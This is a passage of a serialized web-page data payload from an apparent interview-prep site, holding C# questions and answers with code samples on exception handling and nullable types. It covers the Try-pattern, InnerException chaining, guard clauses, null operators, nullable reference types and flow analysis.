int.TryParse(input, out int result) ? result : -1; \u002F\u002F no exception, no allocation\n\n\u002F\u002F Pattern: Try-method convention for expected failure:\npublic bool TryResolve(string key, out string? value)\n{\n    \u002F\u002F returns false on failure — caller decides how to handle it\n    return _cache.TryGetValue(key, out value);\n}\n\n\u002F\u002F Result\u003CT> pattern (alternative to exceptions for expected errors):\npublic record Result\u003CT>(T? Value, string? Error, bool IsSuccess);\n\nResult\u003COrder> LoadOrder(int id)\n{\n    var order = _repo.Find(id);\n    return order is null\n        ? new Result\u003COrder>(null, $\"Order {id} not found\", false)\n        : new Result\u003COrder>(order, null, true);\n}\n\nvar result = LoadOrder(42);\nif (!result.IsSuccess) Console.WriteLine(result.Error);\n\n\u002F\u002F Note: exceptions are ONLY expensive when thrown.\n\u002F\u002F try\u002Fcatch blocks with no exception have near-zero overhead on modern JIT.\n```\n\n**Rule of thumb:** Reserve exceptions for **unexpected**, *exceptional* failures —\nnot for expected outcomes like \"user typed bad input\" or \"record not found.\" For\nexpected failures, use the `TryXxx` pattern or a result type. Profile before assuming\nexceptions are your bottleneck; the overhead only materialises when they are actually thrown.\n",{"id":2241,"difficulty":104,"q":2242,"a":2243},"inner-exception","What is `InnerException` and how do you use exception chaining correctly?","When you catch an exception and throw a new one, the original exception should be\npassed as the **inner exception** — preserving the root cause while providing\nhigher-level context. `InnerException` forms a chain that can be walked to find\nthe original failure.\n\n```csharp\n\u002F\u002F Low-level method throws a technical exception:\nvoid ReadConfig(string path)\n{\n    \u002F\u002F Throws FileNotFoundException if missing\n    var text = File.ReadAllText(path);\n    \u002F\u002F Throws JsonException if malformed\n    JsonSerializer.Deserialize\u003CConfig>(text);\n}\n\n\u002F\u002F Mid-level method wraps and adds context:\nConfig LoadConfig(string path)\n{\n    try { ReadConfig(path); }\n    catch (FileNotFoundException ex)\n        throw new ConfigurationException($\"Config file not found: {path}\", ex);\n    catch (JsonException ex)\n        throw new ConfigurationException($\"Config file is malformed: {path}\", ex);\n    return new Config(); \u002F\u002F unreachable after throw\n}\n\n\u002F\u002F Caller walks the chain:\ntry { LoadConfig(\"appsettings.json\"); }\ncatch (ConfigurationException ex)\n{\n    Console.WriteLine($\"Error: {ex.Message}\");\n    Console.WriteLine($\"Caused by: {ex.InnerException?.Message}\");\n\n    \u002F\u002F Walk the full chain:\n    Exception? current = ex;\n    while (current != null)\n    {\n        Console.WriteLine($\"  {current.GetType().Name}: {current.Message}\");\n        current = current.InnerException;\n    }\n}\n\n\u002F\u002F Exception.GetBaseException() — returns the deepest InnerException:\nException root = ex.GetBaseException();\nConsole.WriteLine(root.Message); \u002F\u002F the original FileNotFoundException message\n```\n\n**Rule of thumb:** Always pass the original exception as `innerException` when\nwrapping. This preserves the complete failure chain for logging and debugging. Never\ndiscard the original exception — if you don't need to wrap it, use bare `throw` instead.\n",{"id":2245,"difficulty":96,"q":2246,"a":2247},"validation-vs-exception","When should you use guard clauses and validation instead of relying on exceptions?","**Guard clauses** validate preconditions at the entry point of a method and throw\nimmediately — before any work begins. This produces clearer error messages, fails fast,\nand avoids propagating invalid state deep into business logic where the original cause\nis harder to diagnose.\n\n```csharp\n\u002F\u002F Without guard clauses — NullReferenceException buried somewhere in logic:\npublic decimal CalculateTotal(Order order)\n{\n    \u002F\u002F order might be null — crash happens inside the loop, far from the call site\n    return order.Items.Sum(i => i.Price * i.Quantity);\n}\n\n\u002F\u002F With guard clauses — fail immediately with a clear message:\npublic decimal CalculateTotal(Order order)\n{\n    ArgumentNullException.ThrowIfNull(order);            \u002F\u002F .NET 6+\n    ArgumentNullException.ThrowIfNull(order.Items);\n\n    return order.Items.Sum(i => i.Price * i.Quantity);\n}\n\n\u002F\u002F .NET 6+ guard helpers (prefer over manual checks):\nArgumentNullException.ThrowIfNull(value);\nArgumentException.ThrowIfNullOrEmpty(str);\nArgumentException.ThrowIfNullOrWhiteSpace(str);\nArgumentOutOfRangeException.ThrowIfNegative(count);\nArgumentOutOfRangeException.ThrowIfNegativeOrZero(count);\nArgumentOutOfRangeException.ThrowIfGreaterThan(index, max);\n\n\u002F\u002F For expected failure (not a programming error), prefer TryXxx or Result:\n\u002F\u002F Guard clause = programmer used the API wrong (throw ArgumentException)\n\u002F\u002F Expected failure = valid input that yields no result (return false or Result)\n\n\u002F\u002F Example: ID lookup is a valid scenario; bad argument is not\npublic bool TryGetUser(int id, out User? user)\n{\n    ArgumentOutOfRangeException.ThrowIfNegativeOrZero(id); \u002F\u002F guard: must be positive\n    user = _store.Find(id); \u002F\u002F null is a valid \"not found\" result\n    return user is not null;\n}\n```\n\n**Rule of thumb:** Validate all public method arguments with guard clauses and throw\n`ArgumentException` (or its subclasses) immediately. Distinguish between **programming\nerrors** (bad arguments — throw) and **expected absence** (not found — return false\nor null). Guard clauses at the top of a method act as executable documentation of\nits preconditions.\n",{"description":94},"C# exception handling interview questions — throw vs throw ex, stack trace preservation, custom exceptions, AggregateException, and global handlers.","dotnet\u002Fcsharp-core\u002Fexceptions","Exception Handling","zAF95309M5zOh-WrjO567m4WpuQd4mvaLkxRIySGCHA",{"id":2254,"title":2255,"body":2256,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":2260,"navigation":99,"order":56,"path":2261,"questions":2262,"questionsCount":163,"related":164,"seo":2322,"seoDescription":2323,"stem":2324,"subtopic":2255,"topic":20,"topicSlug":21,"updated":470,"__hash__":2325},"qa\u002Fdotnet\u002Ffundamentals\u002Fnullable-types.md","Nullable Types",{"type":91,"value":2257,"toc":2258},[],{"title":94,"searchDepth":29,"depth":29,"links":2259},[],{},"\u002Fdotnet\u002Ffundamentals\u002Fnullable-types",[2263,2267,2271,2275,2279,2283,2287,2291,2295,2298,2302,2306,2310,2314,2318],{"id":2264,"difficulty":104,"q":2265,"a":2266},"nullable-value-types","What are nullable value types in C#?","A **nullable value type** (`T?`) is a wrapper around a value type that adds the\nability to represent `null` in addition to the normal range of values. It is\nsyntactic sugar for `Nullable\u003CT>`.\n\n```csharp\nint  normal   = 42;\n\u002F\u002F normal = null; \u002F\u002F compile error — int cannot be null\n\nint? nullable = 42;\nnullable = null; \u002F\u002F fine — Nullable\u003Cint> can hold null\n\n\u002F\u002F Check before using:\nif (nullable.HasValue)\n    Console.WriteLine(nullable.Value); \u002F\u002F 42\n\n\u002F\u002F Safe access with GetValueOrDefault:\nint safe = nullable.GetValueOrDefault(-1); \u002F\u002F -1 if null, otherwise the value\n\n\u002F\u002F Common use: database columns that allow NULL\nint? age = GetAgeFromDatabase(userId); \u002F\u002F returns null if not set\n```\n\n`Nullable\u003CT>` is a struct with two fields: `bool HasValue` and `T Value`. When\n`HasValue` is false, accessing `Value` throws `InvalidOperationException`. The\n`T?` syntax is shorthand the compiler expands to `Nullable\u003CT>` automatically.\n\n**Rule of thumb:** Use `int?`, `DateTime?`, `bool?` (etc.) wherever a value is\ngenuinely optional or may be absent — particularly for database columns, optional\nform fields, and API responses where the field may be omitted.\n",{"id":2268,"difficulty":104,"q":2269,"a":2270},"nullable-t-vs-nullable-int","What is the difference between `int?` and `Nullable\u003Cint>` in C#?","There is **no difference** — they are identical. `int?` is compiler syntactic\nsugar that is expanded to `System.Nullable\u003Cint>` before compilation. At runtime,\nboth have exactly the same representation.\n\n```csharp\nint?              a = 5;\nNullable\u003Cint>     b = 5;\nSystem.Nullable\u003Cint> c = 5;\n\n\u002F\u002F All three are the same type:\nConsole.WriteLine(a.GetType() == b.GetType()); \u002F\u002F True\nConsole.WriteLine(typeof(int?) == typeof(Nullable\u003Cint>)); \u002F\u002F True\n\n\u002F\u002F The ? syntax works for any non-nullable value type:\ndouble?   d = null;\nDateTime? dt = null;\nGuid?     g  = null;\nbool?     flag = null; \u002F\u002F three-state logic (true \u002F false \u002F unknown)\n```\n\nThe compiler accepts both forms everywhere — in variable declarations, method\nsignatures, and generic type arguments. `int?` is universally preferred in\nC# code for brevity.\n\n**Rule of thumb:** Always write `int?` not `Nullable\u003Cint>` — the short form is\nidiomatic C# and is what every IDE and style guide recommends.\n",{"id":2272,"difficulty":104,"q":2273,"a":2274},"null-coalescing-operator","What is the null-coalescing operator `??` and when do you use it?","`??` returns the left operand if it is **not null**, otherwise returns the right\noperand. It is a concise way to provide a default value for a potentially null\nexpression.\n\n```csharp\nstring? name = GetName(); \u002F\u002F may return null\n\n\u002F\u002F Without ??: verbose conditional\nstring display = name != null ? name : \"Unknown\";\n\n\u002F\u002F With ??:\nstring display = name ?? \"Unknown\";\n\n\u002F\u002F Chains: returns first non-null value\nstring result = GetFromCache() ?? GetFromDatabase() ?? \"default\";\n\n\u002F\u002F Works with nullable value types:\nint? count = GetCount();\nint  safe  = count ?? 0;\n\n\u002F\u002F Nested in property initialisation:\npublic string Label => _label ?? (_label = ComputeLabel());\n```\n\n`??` short-circuits — if the left side is non-null, the right side is not\nevaluated. This makes it safe to use with method calls on the right side that\nhave side effects or are expensive.\n\n**Rule of thumb:** Replace `x != null ? x : y` with `x ?? y`. Chain `??` for\nfallback hierarchies (cache → database → hardcoded default).\n",{"id":2276,"difficulty":104,"q":2277,"a":2278},"null-conditional-operator","What is the null-conditional operator `?.` and how does it prevent NullReferenceException?","`?.` (the null-conditional or safe-navigation operator) evaluates the left side and,\nif it is `null`, returns `null` instead of throwing `NullReferenceException`. It\nshort-circuits the entire chain on the first null.\n\n```csharp\nUser? user = GetUser(id); \u002F\u002F may return null\n\n\u002F\u002F Without ?.: manual null checks\nstring? city = null;\nif (user != null && user.Address != null)\n    city = user.Address.City;\n\n\u002F\u002F With ?.: concise null-safe chain\nstring? city = user?.Address?.City; \u002F\u002F null if user or Address is null\n\n\u002F\u002F With collections:\nint? count = user?.Orders?.Count; \u002F\u002F null if user or Orders is null\n\n\u002F\u002F Invoke a delegate safely:\nOnChanged?.Invoke(this, EventArgs.Empty); \u002F\u002F skip if delegate is null\n\n\u002F\u002F Combine with ??: provide a fallback\nstring display = user?.Name ?? \"Guest\";\n```\n\n`?.` returns `null` (or `default(T)` for value types, wrapped in `T?`) if any\nstep in the chain is null. The `?[]` form works the same way for indexers:\n`user?.Orders?[0]?.Item`.\n\n**Rule of thumb:** Use `?.` instead of nested null checks when navigating\nobject graphs. Combine with `??` to provide defaults:\n`user?.Profile?.Bio ?? \"No bio yet\"`.\n",{"id":2280,"difficulty":96,"q":2281,"a":2282},"nullable-reference-types","What are nullable reference types introduced in C# 8 and how do they differ from nullable value types?","**Nullable reference types (NRT)** is a compile-time opt-in analysis feature\n(C# 8+) that lets you annotate reference types as nullable (`string?`) or\nnon-nullable (`string`). The CLR behaviour is unchanged — it is purely a\nstatic analysis layer.\n\n```csharp\n#nullable enable\n\nstring  nonNullable = \"hello\";  \u002F\u002F must never be null — compiler warns if you assign null\nstring? nullable    = null;     \u002F\u002F can be null — compiler warns if you dereference without check\n\n\u002F\u002F Compiler warns when you use a nullable without null check:\nConsole.WriteLine(nullable.Length); \u002F\u002F CS8602: Dereference of a possibly null reference.\n\n\u002F\u002F Safe pattern — use ? or check:\nConsole.WriteLine(nullable?.Length);\nif (nullable != null)\n    Console.WriteLine(nullable.Length); \u002F\u002F fine — flow analysis narrows to non-null\n\n\u002F\u002F Method signatures communicate intent:\nstring GetDisplayName(string? name) => name ?? \"Guest\";\n```\n\nUnlike `int?` (a real runtime Nullable\u003CT>), `string?` at runtime is just `string`\n— the `?` annotation exists only in metadata for the compiler. Enabling NRT in an\nexisting codebase typically surfaces many latent null-related bugs.\n\n**Rule of thumb:** Enable `\u003CNullable>enable\u003C\u002FNullable>` in new projects from day\none. On existing codebases, enable it per-file with `#nullable enable` and fix\nwarnings incrementally. Treat all warnings as errors once the codebase is clean.\n",{"id":2284,"difficulty":96,"q":2285,"a":2286},"enable-nullable-reference-types","How do you enable nullable reference types for a .NET project?","Enable it project-wide in `.csproj`, or per-file with a pragma. Without enabling,\nall reference types are in the \"oblivious\" nullable state (no warnings either way).\n\n```xml\n\u003C!-- In .csproj — recommended for all new projects -->\n\u003CPropertyGroup>\n  \u003CNullable>enable\u003C\u002FNullable>\n  \u003CTreatWarningsAsErrors>true\u003C\u002FTreatWarningsAsErrors>  \u003C!-- optional but recommended -->\n\u003C\u002FPropertyGroup>\n```\n\n```csharp\n\u002F\u002F Per-file (for incremental adoption on existing codebases):\n#nullable enable    \u002F\u002F enable for this file\n\u002F\u002F ... code with nullable annotations ...\n#nullable disable   \u002F\u002F turn off for legacy code below\n\n\u002F\u002F Or enable annotations but suppress warnings (useful while migrating):\n#nullable enable annotations\n```\n\nAfter enabling, the compiler emits **CS8600–CS8629** warnings for potential null\ndereferences. Common first-time fixes: add `?` to parameters\u002Fproperties that can\nbe null, add null-checks before dereferences, and use the null-forgiving operator\n`!` for cases where you know better than the analyser.\n\n**Rule of thumb:** Set `\u003CNullable>enable\u003C\u002FNullable>` at solution level in\n`Directory.Build.props` for green-field projects. For legacy migrations,\nenable per-project and fix warnings one at a time — the compiler guides you.\n",{"id":2288,"difficulty":96,"q":2289,"a":2290},"null-forgiving-operator","What is the null-forgiving operator `!` and when should you use it?","The **null-forgiving operator** (`!`) suppresses the compiler's nullable warning\nfor an expression. It tells the analyser \"I know this is not null even though\nyou can't prove it.\" It has **no runtime effect** — it is erased at compile time.\n\n```csharp\n#nullable enable\n\nstring? GetName() => null; \u002F\u002F returns null sometimes\n\n\u002F\u002F Compiler warns: possible null\nstring name = GetName(); \u002F\u002F CS8600\n\n\u002F\u002F Null-forgiving — suppress the warning (use with care!):\nstring name = GetName()!; \u002F\u002F no warning — you're asserting it is not null at runtime\n\n\u002F\u002F Legitimate use cases:\n\u002F\u002F 1. Lazy initialisation pattern where you know it's set before use:\nprivate string _label = null!; \u002F\u002F set in constructor flow the analyser can't track\n\n\u002F\u002F 2. Test initialisation (xUnit\u002FNUnit [SetUp] methods):\nprivate MyService _service = null!; \u002F\u002F assigned in SetUp, analyser can't see that\n\n\u002F\u002F 3. After a runtime contract check:\nDebug.Assert(value != null);\nConsole.WriteLine(value!.Length); \u002F\u002F analyser doesn't track Debug.Assert\n```\n\nOverusing `!` defeats the purpose of nullable reference types. Every `!` is a\nclaim you are making — if wrong, it produces a `NullReferenceException` at runtime\nwith no compiler warning.\n\n**Rule of thumb:** Use `!` only where you have a genuine guarantee the analyser\ncannot infer — lazy fields, test setup, post-assertion code. If you find yourself\nusing `!` often, that's a sign to refactor to avoid the null.\n",{"id":2292,"difficulty":104,"q":2293,"a":2294},"null-coalescing-assignment","What is the null-coalescing assignment operator `??=`?","`??=` assigns the right-hand value to the left-hand variable **only if** the\nvariable is currently `null`. It is shorthand for the lazy-initialisation pattern.\n\n```csharp\n\u002F\u002F Without ??=:\nif (_cache == null)\n    _cache = new Dictionary\u003Cstring, string>();\n\n\u002F\u002F With ??=: (C# 8+)\n_cache ??= new Dictionary\u003Cstring, string>();\n\n\u002F\u002F Works with nullable value types too:\nint? count = null;\ncount ??= ComputeCount(); \u002F\u002F only calls ComputeCount() if count is null\n\n\u002F\u002F Chaining in property getters (lazy initialisation):\nprivate List\u003Cstring>? _items;\npublic List\u003Cstring> Items => _items ??= new List\u003Cstring>();\n\u002F\u002F First access creates the list; subsequent accesses return the existing list\n\n\u002F\u002F With method calls — right side evaluated only if left is null:\nstring? result = null;\nresult ??= FetchFromServer(); \u002F\u002F FetchFromServer only called when result is null\n```\n\n`??=` is evaluated left-to-right: check if null, assign only if so. The right-hand\nside is never evaluated when the left side already has a value (short-circuit).\n\n**Rule of thumb:** Use `??=` for simple lazy initialisation of fields and\nproperties. It replaces the `if (x == null) x = ...` pattern cleanly.\n",{"id":1419,"difficulty":96,"q":2296,"a":2297},"How does pattern matching work with null checks in C#?","C# pattern matching (C# 7–11) integrates null checking into switch expressions\nand `is` expressions, producing cleaner null guards than explicit `!= null` checks.\n\n```csharp\n\u002F\u002F is pattern with null check:\nobject? obj = GetObject();\n\nif (obj is string s)  \u002F\u002F only matches if obj is non-null AND is a string\n    Console.WriteLine(s.Length);\n\n\u002F\u002F Switch expression with null arm:\nstring Describe(object? value) => value switch\n{\n    null           => \"nothing\",\n    int n when n \u003C 0 => \"negative number\",\n    int n          => $\"positive number {n}\",\n    string s       => $\"string: {s}\",\n    _              => \"something else\",\n};\n\n\u002F\u002F Not-null pattern (C# 9):\nif (obj is not null)\n    Console.WriteLine(obj.ToString()); \u002F\u002F analyser knows non-null in this branch\n\n\u002F\u002F Combined with property patterns:\nif (user is { Name: not null, Age: > 18 })\n    Console.WriteLine(\"Adult user with a name\");\n```\n\nPattern matching integrates with the nullable flow analysis — after `if (x is T t)`,\nthe compiler knows `t` is non-null inside the branch. This is cleaner than\n`x != null && x is T t` and removes the need for the null-forgiving operator.\n\n**Rule of thumb:** Use `is not null` instead of `!= null` for clarity and\nalignment with the analyser. Use switch expressions with a `null` arm to make\nnull handling explicit and exhaustive.\n",{"id":2299,"difficulty":206,"q":2300,"a":2301},"boxing-nullable","How does boxing work for nullable value types — what gets boxed?","When you box a `Nullable\u003CT>`, the result depends on `HasValue`:\n- If `HasValue` is **true**, the CLR boxes the **underlying `T` value** (not the `Nullable\u003CT>` wrapper).\n- If `HasValue` is **false** (null), boxing produces a **null reference** — not a boxed `Nullable\u003CT>`.\n\n```csharp\nint?   a = 42;\nobject boxedA = a;  \u002F\u002F boxes to a boxed int (System.Int32), not Nullable\u003Cint>\nConsole.WriteLine(boxedA.GetType().Name); \u002F\u002F \"Int32\" — not \"Nullable`1\"\n\nint?   b = null;\nobject boxedB = b;  \u002F\u002F null reference — no heap allocation\nConsole.WriteLine(boxedB == null); \u002F\u002F True\n\n\u002F\u002F Unboxing: cast back to int? or int\nint?  unboxed1 = (int?)boxedA;   \u002F\u002F 42\nint   unboxed2 = (int)boxedA;    \u002F\u002F 42 — can unbox to either\n\n\u002F\u002F Cannot unbox to the \"wrong\" nullable:\n\u002F\u002F double? wrong = (double?)boxedA; \u002F\u002F InvalidCastException — was boxed as int\n```\n\nThis design means `object` round-trips through null perfectly. A `null` nullable\nassigned to `object` gives you `null` back — not a weird \"boxed null\" object.\nIt also means `Nullable\u003Cint>` itself is never observable as a boxed type at runtime.\n\n**Rule of thumb:** Avoid boxing nullable value types in hot paths — like all\nboxing, it causes a heap allocation. The only difference is that a null nullable\nboxes to a true null (no allocation), so at least that case is free.\n",{"id":2303,"difficulty":104,"q":2304,"a":2305},"getvalueordefault","What is `GetValueOrDefault()` on a nullable type and how does it differ from `Value`?","`Value` throws `InvalidOperationException` if `HasValue` is false. `GetValueOrDefault()`\nreturns `default(T)` (or a supplied fallback) if the nullable is null — no exception.\n\n```csharp\nint? n = null;\n\n\u002F\u002F Throws if null:\n\u002F\u002F int x = n.Value; \u002F\u002F InvalidOperationException!\n\n\u002F\u002F Safe alternatives:\nint a = n.GetValueOrDefault();     \u002F\u002F 0 (default int) — no throw\nint b = n.GetValueOrDefault(-1);   \u002F\u002F -1 — custom default — no throw\nint c = n ?? -1;                   \u002F\u002F -1 — equivalent using ?? operator\n\n\u002F\u002F When you KNOW it is non-null, Value is fine:\nint? confirmed = 42;\nif (confirmed.HasValue)\n    Console.WriteLine(confirmed.Value); \u002F\u002F safe — HasValue checked first\n\n\u002F\u002F Common pattern: database int column that defaults to 0 if NULL:\nint quantity = row.GetNullableInt(\"qty\").GetValueOrDefault(0);\n```\n\n`GetValueOrDefault(fallback)` is equivalent to `nullable ?? fallback` — both are\nvalid. The `??` form is usually preferred for brevity. `GetValueOrDefault()` without\nan argument is useful when you want the natural zero\u002Ffalse\u002Fdefault rather than\ninventing a sentinel value.\n\n**Rule of thumb:** Prefer `?? defaultValue` for explicit defaults. Use\n`GetValueOrDefault()` (no arg) when you genuinely want the zero value for the type.\nNever use `.Value` without first checking `.HasValue` or using a null guard.\n",{"id":2307,"difficulty":96,"q":2308,"a":2309},"nullable-arithmetic","How do arithmetic and comparison operators behave with nullable value types?","Arithmetic and comparison operators on nullable value types use **lifted operators**:\nif either operand is `null`, the result is `null` (for arithmetic) or `false`\n(for comparisons other than `!=`). This mirrors SQL's three-value logic.\n\n```csharp\nint? a = 5;\nint? b = null;\n\n\u002F\u002F Arithmetic — null propagates:\nConsole.WriteLine(a + b);   \u002F\u002F null\nConsole.WriteLine(a * 2);   \u002F\u002F 10  (int? * int → int?)\nConsole.WriteLine(b + b);   \u002F\u002F null\n\n\u002F\u002F Comparison — returns bool (not bool?):\nConsole.WriteLine(a > 3);   \u002F\u002F True\nConsole.WriteLine(b > 3);   \u002F\u002F False — not null, just false\nConsole.WriteLine(b == null); \u002F\u002F True — use == null to detect null\n\n\u002F\u002F Equality is special: null == null is True, null == non-null is False\nint? x = null, y = null;\nConsole.WriteLine(x == y);  \u002F\u002F True\n\n\u002F\u002F Pitfall — null comparisons that always return false:\n\u002F\u002F if (b > 0) { ... }  — silently skipped when b is null\n\u002F\u002F Always guard: if (b.HasValue && b.Value > 0) { ... }\n\u002F\u002F          or: if (b > 0 == true) { ... }  — explicit but verbose\n```\n\nThe `==` and `!=` operators are special-cased: `null == null` returns `true`.\nAll other comparisons (`\u003C`, `>`, `\u003C=`, `>=`) return `false` when either side is null.\n\n**Rule of thumb:** Treat null propagation in nullable arithmetic like SQL NULLs.\nBefore performing a meaningful comparison or calculation, check `HasValue` or\nuse `??` to substitute a concrete value.\n",{"id":2311,"difficulty":96,"q":2312,"a":2313},"nullable-in-ternary-and-switch","How should you handle nullable types in ternary expressions and switch statements?","Nullable types work naturally in ternary and switch expressions, but you must be\ncareful that the compiler can infer a common result type and that null arms are\nhandled.\n\n```csharp\nint? score = GetScore(); \u002F\u002F may be null\n\n\u002F\u002F Ternary — result is string (non-nullable) in both arms:\nstring label = score.HasValue\n    ? score.Value >= 60 ? \"Pass\" : \"Fail\"\n    : \"Not taken\";\n\n\u002F\u002F Same with ?? and ?. (often cleaner):\nstring label2 = score switch\n{\n    null       => \"Not taken\",\n    >= 90      => \"Distinction\",\n    >= 60      => \"Pass\",\n    _          => \"Fail\",\n};\n\n\u002F\u002F Nullable bool — three-state switch:\nbool? isConfirmed = GetConfirmation();\nstring status = isConfirmed switch\n{\n    true  => \"Confirmed\",\n    false => \"Rejected\",\n    null  => \"Pending\",\n};\n\n\u002F\u002F Warning: ternary with mismatched nullable\u002Fnon-nullable types:\nint? a = null;\n\u002F\u002F var r = condition ? a : 0; \u002F\u002F r is int? because one arm is int?\n```\n\nSwitch expressions are the cleanest tool for handling nullable types with multiple\nbranches: they force you to be explicit about the null arm, and the compiler warns\nif a case is missing.\n\n**Rule of thumb:** Use a `null` arm in switch expressions when the input is\nnullable. Prefer switch expressions over chains of ternaries for three or more\noutcomes — they are easier to read and exhaustiveness is checked at compile time.\n",{"id":2315,"difficulty":96,"q":2316,"a":2317},"nullable-collections","What is the difference between a nullable collection and a collection of nullable elements?","These are two different concepts that are easy to conflate. A **nullable collection**\n(`List\u003Cint>?`) is a collection reference that can be null. A **collection of nullable\nelements** (`List\u003Cint?>`) is a non-null collection that can hold null int entries.\n\n```csharp\n\u002F\u002F Nullable collection — the LIST reference itself may be null:\nList\u003Cint>? maybeList = null;\nmaybeList?.Add(1);           \u002F\u002F safe — does nothing if list is null\nint count = maybeList?.Count ?? 0; \u002F\u002F 0\n\n\u002F\u002F Collection of nullable ints — the list exists but elements may be null:\nList\u003Cint?> withNulls = new List\u003Cint?> { 1, null, 3 };\nforeach (int? item in withNulls)\n    Console.WriteLine(item ?? -1); \u002F\u002F -1 for the null slot\n\n\u002F\u002F Common confusion: filtering nulls out of a nullable element list:\nList\u003Cint> nonNulls = withNulls\n    .Where(x => x.HasValue)\n    .Select(x => x!.Value)   \u002F\u002F safe: HasValue checked\n    .ToList();                \u002F\u002F { 1, 3 }\n\n\u002F\u002F Or more cleanly with OfType\u003Cint>():\nList\u003Cint> clean = withNulls.OfType\u003Cint>().ToList(); \u002F\u002F { 1, 3 }\n```\n\nIn APIs and data models: use a nullable collection (`IEnumerable\u003CT>?`) when the\nabsence of a list is meaningful (not yet loaded, not applicable). Use\n`IEnumerable\u003CT?>` when the list itself is always present but individual items may\nbe absent.\n\n**Rule of thumb:** Prefer returning an empty collection over a null collection —\nit simplifies callers. Reserve `List\u003CT>?` for cases where null genuinely means\n\"not yet fetched\" or \"not applicable,\" distinct from an empty result.\n",{"id":2319,"difficulty":206,"q":2320,"a":2321},"nullable-flow-analysis","What is nullable flow analysis and how does the C# compiler use it?","**Nullable flow analysis** (C# 8+) is the compiler's ability to track the null\nstate of a variable through control-flow paths — narrowing its inferred nullability\nbased on checks, assignments, and pattern matches. This eliminates false positives\nand enables richer diagnostics.\n\n```csharp\n#nullable enable\n\nstring? GetName() => null;\n\nvoid Example(string? name)\n{\n    \u002F\u002F Before check: 'name' is maybe-null — CS8602 if you use it\n    \u002F\u002F Console.WriteLine(name.Length); \u002F\u002F Warning\n\n    if (name == null) return;          \u002F\u002F early return\n\n    \u002F\u002F After null check: flow analysis knows name is non-null here\n    Console.WriteLine(name.Length);    \u002F\u002F no warning — narrowed to string\n\n    \u002F\u002F Pattern matching also narrows:\n    object? obj = GetObject();\n    if (obj is string s)\n        Console.WriteLine(s.ToUpper()); \u002F\u002F s is non-null string here\n\n    \u002F\u002F ?? assignment narrows too:\n    string resolved = name ?? \"default\";\n    Console.WriteLine(resolved.Length); \u002F\u002F no warning — string, not string?\n}\n\n\u002F\u002F Limitation: the analyser does not cross method boundaries\nvoid DoCheck(string? s) { if (s == null) throw new ArgumentNullException(); }\nvoid Use(string? s)\n{\n    DoCheck(s);\n    \u002F\u002F Console.WriteLine(s.Length); \u002F\u002F still warns — analyser can't see into DoCheck\n    \u002F\u002F Fix: use ArgumentNullException.ThrowIfNull(s); which the analyser understands\n}\n```\n\n**Rule of thumb:** Write code that guides the flow analyser: early returns, guard\nclauses, and `is not null` checks. Use `ArgumentNullException.ThrowIfNull()` instead\nof custom guards so the analyser recognises the null-check pattern.\n",{"description":94},"C# nullable types interview questions — Nullable\u003CT>, null-conditional and null-coalescing operators, nullable reference types, and flow analysis.","dotnet\u002Ffundamentals\u002Fnullable-types","qZtUsaokY9W3aiHutp4Y_EMkmiV6lYfzs0_NWY4BJsM",1782244097404]